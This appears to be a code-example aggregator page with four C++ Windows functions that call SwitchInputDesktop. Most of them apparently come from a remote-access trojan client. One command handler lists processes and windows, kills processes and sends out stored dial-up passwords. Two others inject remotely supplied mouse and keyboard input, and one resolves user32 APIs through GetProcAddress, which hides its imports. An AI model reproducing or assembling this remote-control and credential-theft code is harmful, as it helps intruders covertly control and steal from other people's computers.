Пример #1
0
void CSystemManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
	SwitchInputDesktop();
	switch (lpBuffer[0])
	{
	case COMMAND_PSLIST:
		SendProcessList();
		break;
	case COMMAND_WSLIST:
		SendWindowsList();
		break;
	case COMMAND_DIALUPASS:
		SendDialupassList();
		break;
	case COMMAND_KILLPROCESS:
		KillProcess((LPBYTE)lpBuffer + 1, nSize - 1);
	default:
		break;
	}
}
Пример #2
0
bool CInputThread::ThreadLoop()
{
	
	CRefObj<IInputEvent> pEvent;
	if (m_events.pop(pEvent))
	{
		SwitchInputDesktop(); //try to switch to input desktop
		Delay(m_nDelay);
		pEvent->Input();
		if ( m_events.size() )
		{
			
		}
		else
		{
			SetEvent(m_hWaitForIdle);
		}
		return true;
	}
	return false;
}
Пример #3
0
void CScreenManager::ProcessMouseAndKeyCommand(LPBYTE lpBuffer, UINT nSize)
{
	if (nSize % sizeof(MSG) != 0)
		return;

	SwitchInputDesktop();

	int	nCount = nSize / sizeof(MSG);
	for (int i = 0; i < nCount; i++)
	{
		MSG	*pMsg = (MSG *)(lpBuffer + i * sizeof(MSG));
		switch (pMsg->message)
		{
			case WM_LBUTTONDOWN:
			case WM_LBUTTONUP:
			case WM_RBUTTONDOWN:
			case WM_RBUTTONUP:
			case WM_MOUSEMOVE:
			case WM_LBUTTONDBLCLK:
			case WM_RBUTTONDBLCLK:
			case WM_MBUTTONDOWN:
			case WM_MBUTTONUP:
				{
					POINT point;
					point.x = LOWORD(pMsg->lParam);
					point.y = HIWORD(pMsg->lParam);
					SetCursorPos(point.x, point.y);
					SetCapture(WindowFromPoint(point));
				}
				break;
			default:
				break;
		}

		switch(pMsg->message)
		{
			case WM_LBUTTONDOWN:
				mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
				break;
			case WM_LBUTTONUP:
				mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
				break;
			case WM_RBUTTONDOWN:
				mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
				break;
			case WM_RBUTTONUP:
				mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
				break;
 			case WM_LBUTTONDBLCLK:
				mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
				mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
 				break;
 			case WM_RBUTTONDBLCLK:
 				mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
				mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
 				break;
			case WM_MBUTTONDOWN:
				mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
 				break;
			case WM_MBUTTONUP:
				mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
				break;
			case WM_MOUSEWHEEL:
				mouse_event(MOUSEEVENTF_WHEEL, 0, 0, GET_WHEEL_DELTA_WPARAM(pMsg->wParam), 0);
				break;
			case WM_KEYDOWN:
			case WM_SYSKEYDOWN:
				keybd_event((UINT)pMsg->wParam, MapVirtualKey((UINT)pMsg->wParam, 0), 0, 0);
				break;	
			case WM_KEYUP:
			case WM_SYSKEYUP:
				keybd_event((UINT)pMsg->wParam, MapVirtualKey((UINT)pMsg->wParam, 0), KEYEVENTF_KEYUP, 0);
				break;
			default:
				break;
		}
	}	
}
Пример #4
0
void CScreenManager::ProcessCommand( LPBYTE lpBuffer, UINT nSize )
{
	
	typedef VOID
		(WINAPI
		*mouse_eventT)(
		__in DWORD dwFlags,
		__in DWORD dx,
		__in DWORD dy,
		__in DWORD dwData,
		__in ULONG_PTR dwExtraInfo);
	mouse_eventT pmouse_event=(mouse_eventT)GetProcAddress(LoadLibrary("USER32.dll"),"mouse_event");

	
	typedef BOOL
		(WINAPI
		*SetCursorPosT)(
		__in int X,
		__in int Y);
	SetCursorPosT pSetCursorPos=(SetCursorPosT)GetProcAddress(LoadLibrary("USER32.dll"),"SetCursorPos");

	
	typedef HWND
		(WINAPI
		*WindowFromPointT)(
		__in POINT Point);
	WindowFromPointT pWindowFromPoint=(WindowFromPointT)GetProcAddress(LoadLibrary("USER32.dll"),"WindowFromPoint");

	
	typedef HWND
		(WINAPI
		*SetCaptureT)(
		__in HWND hWnd);
	SetCaptureT pSetCapture=(SetCaptureT)GetProcAddress(LoadLibrary("USER32.dll"),"SetCapture");

	
	typedef UINT
		(WINAPI
		*MapVirtualKeyAT)(
		__in UINT uCode,
		__in UINT uMapType);
	MapVirtualKeyAT pMapVirtualKeyA=(MapVirtualKeyAT)GetProcAddress(LoadLibrary("USER32.dll"),"MapVirtualKeyA");

	
	typedef VOID
		(WINAPI
		*keybd_eventT)(
		__in BYTE bVk,
		__in BYTE bScan,
		__in DWORD dwFlags,
		__in ULONG_PTR dwExtraInfo);
	keybd_eventT pkeybd_event=(keybd_eventT)GetProcAddress(LoadLibrary("USER32.dll"),"keybd_event");

	// 数据包不合法
	if (nSize % sizeof(MSG) != 0)
		return;
	
	SwitchInputDesktop();
	
	// 命令个数
	int	nCount = nSize / sizeof(MSG);
	
	// 处理多个命令
	for (int i = 0; i < nCount; i++)
	{
		MSG	*pMsg = (MSG *)(lpBuffer + i * sizeof(MSG));
		switch (pMsg->message)
		{
		case WM_LBUTTONDOWN:
		case WM_LBUTTONUP:
		case WM_RBUTTONDOWN:
		case WM_RBUTTONUP:
		case WM_MOUSEMOVE:
		case WM_LBUTTONDBLCLK:
		case WM_RBUTTONDBLCLK:
		case WM_MBUTTONDOWN:
		case WM_MBUTTONUP:
			{
				POINT point;
				point.x = LOWORD(pMsg->lParam);
				point.y = HIWORD(pMsg->lParam);
				pSetCursorPos(point.x, point.y);
				pSetCapture(pWindowFromPoint(point));
			}
			break;
		default:
			break;
		}
		
		switch(pMsg->message)
		{
		case WM_LBUTTONDOWN:
			pmouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
			break;
		case WM_LBUTTONUP:
			pmouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
			break;
		case WM_RBUTTONDOWN:
			pmouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
			break;
		case WM_RBUTTONUP:
			pmouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
			break;
		case WM_LBUTTONDBLCLK:
			pmouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
			pmouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
			break;
		case WM_RBUTTONDBLCLK:
			pmouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
			pmouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
			break;
		case WM_MBUTTONDOWN:
			pmouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
			break;
		case WM_MBUTTONUP:
			pmouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
			break;
		case WM_MOUSEWHEEL:
			pmouse_event(MOUSEEVENTF_WHEEL, 0, 0, GET_WHEEL_DELTA_WPARAM(pMsg->wParam), 0);
			break;
		case WM_KEYDOWN:
		case WM_SYSKEYDOWN:
			pkeybd_event(pMsg->wParam, pMapVirtualKeyA(pMsg->wParam, 0), 0, 0);
			break;	
		case WM_KEYUP:
		case WM_SYSKEYUP:
			pkeybd_event(pMsg->wParam, pMapVirtualKeyA(pMsg->wParam, 0), KEYEVENTF_KEYUP, 0);
			break;
		default:
			break;
		}
	}	
}